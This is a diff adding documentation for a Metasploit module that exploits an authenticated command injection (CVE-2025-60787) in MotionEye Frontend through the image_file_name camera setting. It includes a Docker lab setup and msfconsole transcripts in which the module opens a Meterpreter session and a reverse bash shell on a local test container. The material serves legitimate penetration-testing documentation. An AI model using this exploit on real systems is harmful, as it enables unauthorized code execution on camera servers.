|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits a template injection vulnerability in the [MotionEye Frontend](https://github.com/motioneye-project/motioneye). |
| 4 | + |
| 5 | +MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as `image_file_name`. |
| 6 | +Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution. |
| 7 | + |
| 8 | +Successful exploitation will result in the command executing as the user running |
| 9 | +the web server, potentially exposing sensitive data or disrupting survey operations. |
| 10 | + |
| 11 | +An attacker can execute arbitrary system commands in the context of the user running the web server. |
| 12 | + |
| 13 | +## Exploit Workflow |
| 14 | + |
| 15 | +1. Adds a new camera in MotionEye Frontend. |
| 16 | +2. Injects the payload into the `image_file_name` field (used for naming camera screenshots). |
| 17 | +3. Captures a screenshot ("snapshot" in the terminology of MotionEye), triggering the payload. |
| 18 | + |
| 19 | +## Testing |
| 20 | + |
| 21 | +1. Use Docker to set up the MotionEye app |
| 22 | + |
| 23 | +`docker run -p 9999:8765 ghcr.io/motioneye-project/motioneye@sha256:2dcc3c4da1830ef824067375b2e022fa28c5fdbca773f5496bd35543ec45bef7` |
| 24 | + |
| 25 | +2. Open http://127.0.0.1:9999/ and make sure the app is available |
| 26 | + |
| 27 | +## Scenario |
| 28 | + |
| 29 | +### cmd/linux/http/x64/meterpreter/reverse_tcp |
| 30 | + |
| 31 | +``` |
| 32 | +msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787 |
| 33 | +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp |
| 34 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1 |
| 35 | +RHOSTS => 127.0.0.1 |
| 36 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 9999 |
| 37 | +RPORT => 9999 |
| 38 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set FETCH_SRVHOST 172.17.0.1 |
| 39 | +FETCH_SRVHOST => 172.17.0.1 |
| 40 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set PASSWORD 12345 |
| 41 | +PASSWORD => 12345 |
| 42 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run |
| 43 | +
|
| 44 | +[*] Started reverse TCP handler on 192.168.19.130:4444 |
| 45 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 46 | +[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable |
| 47 | +[*] Adding malicious camera... |
| 48 | +[+] Camera successfully added |
| 49 | +[*] Setting up exploit... |
| 50 | +[+] Exploit setup complete |
| 51 | +[*] Triggering exploit... |
| 52 | +[+] Exploit triggered, waiting for session... |
| 53 | +[*] Sending stage (3045380 bytes) to 172.17.0.2 |
| 54 | +[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 172.17.0.2:38124) at 2025-10-04 21:08:57 -0400 |
| 55 | +[*] Removing camera |
| 56 | +[+] Camera removed successfully |
| 57 | +
|
| 58 | +meterpreter > sysinfo |
| 59 | +Computer : 172.17.0.2 |
| 60 | +OS : Debian 13.1 (Linux 6.11.2-amd64) |
| 61 | +Architecture : x64 |
| 62 | +BuildTuple : x86_64-linux-musl |
| 63 | +Meterpreter : x64/linux |
| 64 | +``` |
| 65 | + |
| 66 | +### cmd/unix/reverse_bash |
| 67 | + |
| 68 | +``` |
| 69 | +msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787 |
| 70 | +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp |
| 71 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set payload cmd/unix/reverse_bash |
| 72 | +payload => cmd/unix/reverse_bash |
| 73 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1 |
| 74 | +RHOSTS => 127.0.0.1 |
| 75 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 9999 |
| 76 | +RPORT => 9999 |
| 77 | +msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run |
| 78 | +
|
| 79 | +[*] Started reverse TCP handler on 192.168.19.130:4444 |
| 80 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 81 | +[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable |
| 82 | +[*] Adding malicious camera... |
| 83 | +[+] Camera successfully added |
| 84 | +[*] Setting up exploit... |
| 85 | +[+] Exploit setup complete |
| 86 | +[*] Triggering exploit... |
| 87 | +[+] Exploit triggered, waiting for session... |
| 88 | +[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400 |
| 89 | +[*] Removing camera |
| 90 | +[+] Camera removed successfully |
| 91 | +
|
| 92 | +cat /etc/os-release |
| 93 | +PRETTY_NAME="Debian GNU/Linux 13 (trixie)" |
| 94 | +NAME="Debian GNU/Linux" |
| 95 | +VERSION_ID="13" |
| 96 | +VERSION="13 (trixie)" |
| 97 | +VERSION_CODENAME=trixie |
| 98 | +DEBIAN_VERSION_FULL=13.1 |
| 99 | +ID=debian |
| 100 | +HOME_URL="https://www.debian.org/" |
| 101 | +SUPPORT_URL="https://www.debian.org/support" |
| 102 | +BUG_REPORT_URL="https://bugs.debian.org/" |
| 103 | +``` |
| 104 | + |
| 105 | +## Script for signing requests |
| 106 | + |
| 107 | +A script for manually signing requests is available in data/exploits/CVE-2025-60787/sign_request.py and can be used for debugging purposes. |
| 108 | + |
| 109 | +Example of usage: |
| 110 | +``` |
| 111 | +python3 ./sign_request.py --method "GET" --path "/config/1/get/?force=true&_=1759747431350&_username=admin" --body "" --key "" |
| 112 | +``` |
0 commit comments